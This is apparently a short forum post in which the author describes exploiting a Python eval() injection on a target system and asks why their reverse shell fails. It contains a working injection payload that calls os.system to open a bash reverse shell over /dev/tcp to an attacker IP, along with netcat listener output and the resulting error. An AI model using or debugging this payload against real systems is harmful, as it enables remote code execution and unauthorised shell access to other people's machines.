I am exploiting python eval function. In target system code is like
eval('%s > 1' % My_Payload)
However, reverse shell is giving ambiguous redirect error. I am sending code like
"__import__('os').system('bash -i >& /dev/tcp/192.168.1.10/8081 0>&1')"
nc -lvnp 8081 listening on [any] 8081 ... connect to [192.168.1.10] from (UNKNOWN) [192.168.1.10] 43478 -bash: 1)#")}: ambiguous redirect
It seems to me that system does not have /dev/tcp, but I am not sure.
Any help appreciated.